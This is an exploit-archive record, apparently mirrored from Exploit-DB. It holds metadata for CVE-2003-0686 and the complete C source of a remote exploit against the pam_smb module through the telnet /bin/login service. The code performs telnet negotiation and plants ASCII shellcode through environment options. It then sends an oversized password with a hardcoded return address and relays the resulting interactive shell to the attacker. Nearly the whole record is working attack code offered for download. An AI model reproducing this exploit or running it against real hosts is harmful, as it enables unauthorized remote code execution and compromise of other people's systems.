{"exploit":{"id":"EDB-89","name":"Linux pam_lib_smb < 1.1.6 - '/bin/login' Remote Overflow","description":"Linux pam_lib_smb < 1.1.6 - '/bin/login' Remote Overflow","cves":["CVE-2003-0686"],"author":"vertex","published":"2003-08-29","platform":"linux","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/89","path":"exploits/linux/remote/89.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-89.c","vulnerabilities":[{"id":"CVE-2003-0686","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in PAM SMB module (pam_smb) 1.1.6 and earlier, when authenticating to a remote service, allows remote attackers to execute arbitrary code.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0686","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0686"},"updatedAt":"2024-08-08T02:05:11.352Z","retrievedAt":"2026-11-26T12:09:36.280Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-89.png?v=2","url":"https://exploitbin.com/exploits/EDB-89","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-89/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-89/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * Linux pam_lib_smb < 1.1.6  /bin/login exploit\n * by vertex\n *\n * Tested on Redhat 8.0, 9.0\n *\n *\n * Advisory at\n * \thttp://us2.samba.org/samba/ftp/pam_smb/\n *\n * code based on : UC_login.c\n * SunOS 5.6,5.7,5.8 remote /bin/login root exploit\n * [mikecc/unixclan]\n *\n * =============================================================\n * In order to use pam_lib_smb, need to add following line on top\n * of /etc/pam.d/login\n *\n * auth       required     /lib/security/pam_smb_auth.so\n *\n * And config the /etc/pam_smb.conf correctly.\n *\n*/\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <arpa/inet.h>\n#include <arpa/telnet.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <getopt.h>\n\n/* first negotiate */\n/* packet capture by ethereal */\nchar packet_1[] = {\n0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb,\n0x1f, 0xff, 0xfb, 0x20, 0xff, 0xfb, 0x21, 0xff,\n0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,\n0xff, 0xfb, 0x23 };\nchar packet_2[] = {\n0xff, 0xfa, 0x1f, 0x00, 0x62, 0x00, 0x22, 0xff,\n0xf0, 0xff, 0xfa, 0x20, 0x00, 0x33, 0x38, 0x34,\n0x30, 0x30, 0x2c, 0x33, 0x38, 0x34, 0x30, 0x30,\n0xff, 0xf0, 0xff, 0xfa, 0x23, 0x00, 0x6c, 0x69,\n0x64, 0x73,\n\n/* in between ,adding sc */\n0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa,\n0x27, 0x00, 0x03, 0x58, 0x41, 0x55, 0x54, 0x48,\n0x4f, 0x52, 0x49, 0x54, 0x59, 0x01, 0x2f, 0x68,\n0x6f, 0x6d, 0x65, 0x2f, 0x78, 0x69, 0x65, 0x2f,\n0x2e, 0x58, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72,\n0x69, 0x74, 0x79, 0x00, 0x44, 0x49, 0x53, 0x50,\n0x4c, 0x41, 0x59, 0x01,\n};\n\nchar packet_2_1[]={\n\n0x6c, 0x69, 0x64, 0x73,\n0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa, 0x18, 0x00,\n0x58, 0x54, 0x45, 0x52, 0x4d, 0xff, 0xf0 };\n\n/* here is the TERM value */\n/*\n*/\n\nvoid login(int);\nvoid negotiate(int);\nvoid sendstr(int,char *,int);\nvoid wont(int sd,int opt);\nvoid will(int sd,int opt);\nvoid cmd(int sd,int opt);\n\n/* ascii shellcode by shellforge (by phillipe biodi)*/\nunsigned char sc[] =\n\"hAAAAX5AAAAHPPPPPPPPahA000X5nCX0PhA004X5nRYZPh0A\"\n\"DAX5owxnPTYI19II19h0200X5U9knPTYII19I19hA000X5sO\"\n\"kBPTY19I19I19h4000X59cF4PTY19II19I19h0000X5000FP\"\n\"TY19I19h0002X500w9PTYI19I19h0A00X5uR00PTYII19I19\"\n\"h04AAX5ByVyPTY19II19I19h600AX59FMVPTY19I19I19h00\"\n\"0AX500LZPTY19II19h00E0X5Btz0PTYII19hA4A0X5R8p9PT\"\n\"Y19I19II19h0D20X5Lx8LPTY19h0000X5000kPh00A0X5fcV\"\n\"0PTYI19I19h00B0X5eFXgPTYI19II19\\xff\\xff\\xe4\";\n\n\nint main(int argc,char **argv)\n{\n        struct sockaddr_in sock;\n        struct hostent *pHe;\n        int sd;\n\tshort port = -1;\n\tint x;\n\tchar *host = NULL;\n\tchar *user = NULL;\n\tchar exp[1024];\n\tint a;\n\tchar *default_port = \"23\";\n\n\tprintf(\"linux_pam_smb\\n\");\n\tprintf(\"Linux lib_pam_smb < 1.1.6 /bin/login remote exploit\\n\");\n\tprintf(\"[vertex//lids/org]\\n\\n\");\n\tif (argc < 2)\n\t{\n\t\tprintf(\"%s -h <victim> [-p port] \\n\",argv[0]);\n\t\treturn 0;\n\t}\n\twhile ((a = getopt(argc,argv,\"h:p:u:\")) != -1)\n\t{\n\t\tswitch (a)\n\t\t{\n\t\t\tcase 'h':\n\t\t\t\thost = optarg;\n\t\t\t\tbreak;\n\n                        case 'p':\n                                port = atoi(optarg);\n                                break;\n\n\t\t\tdefault:\n\t\t\t\tprintf(\"[-] invalid option.\\n\");\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tif (host == NULL)\n\t{\n\t\tprintf(\"[-] must specify a host to attack\\n\");\n\t\treturn 0;\n        }\n\tif (port < 0)\n\t\tport = atoi(default_port);\n\tif ((pHe = gethostbyname(host)) == NULL)\n        {\n                printf(\"Host lookup error.\\n\");\n                return 0;\n        }\n\tprintf(\"[*] attacking %s:%d\\n\",host,port);\n\tprintf(\"[*] opening socket\\n\");\n        if ((sd = socket(AF_INET,SOCK_STREAM,0)) == -1)\n        {\n                printf(\"[-] could not create socket\");\n                return 0;\n        }\n\tsock.sin_family = AF_INET;\n\tsock.sin_port = htons(port);\n\tmemcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);\n\tif ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) == -1)\n        {\n                printf(\"[-] failed to connect to %s\\n\",host);\n                return 0;\n        }\n\tprintf(\"[*] connected!\\n\");\n\tprintf(\"[*] Begin negotiate... \\n\");\n\tnegotiate(sd);\n\tprintf(\"[*] Login... \\n\");\n\tlogin(sd);\n\treturn 0;\n}\n\n\nvoid login(int sd)\n{\n\tchar buf[1024];\n\tchar exploit_buf[172];\n\tchar cx[3]=\"\\r\\n\\0\";\n\tint x;\n  \tfd_set rset;\n\n\tmemset(exploit_buf,'\\0',172);\n\t/* let's jump to 0xbffffe30 */\n\t/* eb 30 fe ff bf */\n\n\tx = 0;\n\texploit_buf[x++]=0x68;\n\t/* push 0xbffffe30 */\n\t/* shellcode address */\n\texploit_buf[x++]=0x30;\n\texploit_buf[x++]=0xfe;\n\texploit_buf[x++]=0xff;\n\texploit_buf[x++]=0xff;\n\texploit_buf[x++]=0xff;\n\texploit_buf[x++]=0xbf;\n\texploit_buf[x++]=0xbf;\n\t/* ret */\n\texploit_buf[x++]=0xc3;\n\n\tmemset(exploit_buf+x,'A',150);\n\tx+=150;\n\n/* will jmp in the middle of the NOP */\n/* overwrite the eip with 0x40000f4f libc-2.3.2 */\n/* at this address it is\n\tpop $exx\n\tpop $exx\n\tret\n*/\n\texploit_buf[x++]=0xb5;\n\texploit_buf[x++]=0xd4;\n\n\tsleep(2);\n\n\tmemset(buf,'\\0',sizeof(buf));\n\tstrcpy(buf, \"xie\\r\\n\\0\");\n\n\tprintf(\"[*] sending username \\n\");\n\tsendstr(sd,buf,strlen(buf));\n\n\tsleep(1);\n\tprintf(\"[*] sending password\\n\");\n\tsleep(2);\n\n\tmemset(buf,'\\0',sizeof(buf));\n\tstrcpy(buf, exploit_buf);\n\tstrcat(buf,\"\\r\\n\\0\");\n\tsendstr(sd,buf,strlen(buf));\n\n\tsleep(2);\n\tfflush(stdout);\n\tFD_ZERO(&rset);\n\twhile (1)\n\t{\n\t\tFD_SET(sd,&rset);\n\t\tFD_SET(0,&rset);\n\t\tselect(sd+1,&rset,0,0,0);\n\t\tif (FD_ISSET(sd,&rset))\n\t\t{\n\t\t\tmemset(buf,'\\0',sizeof(buf));\n\t\t\tif ((x = read(sd,buf,sizeof(buf)-1)) == 0)\n\t\t\t{\n\t\t\t\tprintf(\"Connection closed by foreign host.\\n\");\n\t\t\t\texit(-1);\n\t\t\t}\n\t\t\tfprintf(stderr,\"%s\",buf);\n\t\t}\n\t\tif (FD_ISSET(0,&rset))\n\t\t{\n\t\t\tmemset(buf,'\\0',sizeof(buf));\n\t\t\tif ((x = read(0,buf,sizeof(buf)-1)) > 0)\n\t\t\t{\n\t\t\t\twrite(sd,buf,x);\n\t\t\t}\n\t\t}\n\t}\n}\n\n/*\n * telnet negotiation needed for\n * talking with the telnet protocol\n*/\n\nvoid negotiate(int sd)\n{\n\tchar buf[1024];\n\tchar nop[64];\n\tint len;\n\n\tsendstr(sd, packet_1,sizeof(packet_1));\n\tsleep(2);\n\n\tmemset(buf,'\\0',sizeof(buf));\n\tmemset(nop,'A',sizeof(nop));\n\tmemcpy(buf,packet_2,sizeof(packet_2));\n\t/* adding NOP */\n\tmemcpy(buf+sizeof(packet_2), nop, sizeof(nop));\n\t/* shellcode */\n\tmemcpy(buf+sizeof(packet_2)+sizeof(nop), sc, sizeof(sc));\n\t/* left packet */\n\tmemcpy(buf+sizeof(packet_2)+sizeof(nop)+sizeof(sc),packet_2_1,sizeof(packet_2_1));\n\n\tlen = sizeof(packet_2) +sizeof(packet_2_1) + sizeof(nop)+sizeof(sc) ;\n\tsendstr(sd, buf, len);\n\tsleep(1);\n\n\t/* wont echo */\n\twont(sd,TELOPT_ECHO);\n\tsleep(1);\n\t/* do echo */\n\tcmd(sd,TELOPT_ECHO);\n\n\tsleep(2);\n}\n\n/*\n * send a telnet WONT\n *\n * structure of a telnet WONT is:\n * \t1. IAC\n * \t2. WONT\n *\t3. what you wont do\n *\t(all of the above are found in arpa/telnet.h)\n*/\n\nvoid wont(int sd,int opt)\n{\n\tchar buf[3];\n\tsprintf(buf,\"%c%c%c\",IAC,WONT,opt);\n\twrite(sd,buf,3); /* no error checking, uh-oh! */\n}\n\n/*\n * send a telnet WILL\n *\n * structure of a telnet WILL is:\n *\t1. IAC\n *\t2. WILL\n *\t3. what you will do\n *\t(all of the above are found in arpa/telnet.h)\n*/\n\nvoid will(int sd,int opt)\n{\n\tchar buf[3];\n\tsprintf(buf,\"%c%c%c\",IAC,WILL,opt);\n        write(sd,buf,3); /* no error checking, uh-oh! */\n}\nvoid cmd(int sd,int opt)\n{\n\tchar buf[3];\n\tsprintf(buf,\"%c\\xfd%c\",IAC,opt);\n\twrite(sd,buf,3); /* no error checking, uh-oh! */\n}\n/*\n *\n */\nvoid sendstr(int sd,char *str,int length)\n{\n\n        write(sd,str,length);\n\tsleep(1);\n}\n\n\n// milw0rm.com [2003-08-29]","sha256":"ea0bc892878c399866606c08810331883a62af5866087a3922288872e09cbbff","bytes":7150,"fetchedAt":"2026-11-26T12:09:29.420Z","encoding":"utf-8 (display only; download retains original bytes)"}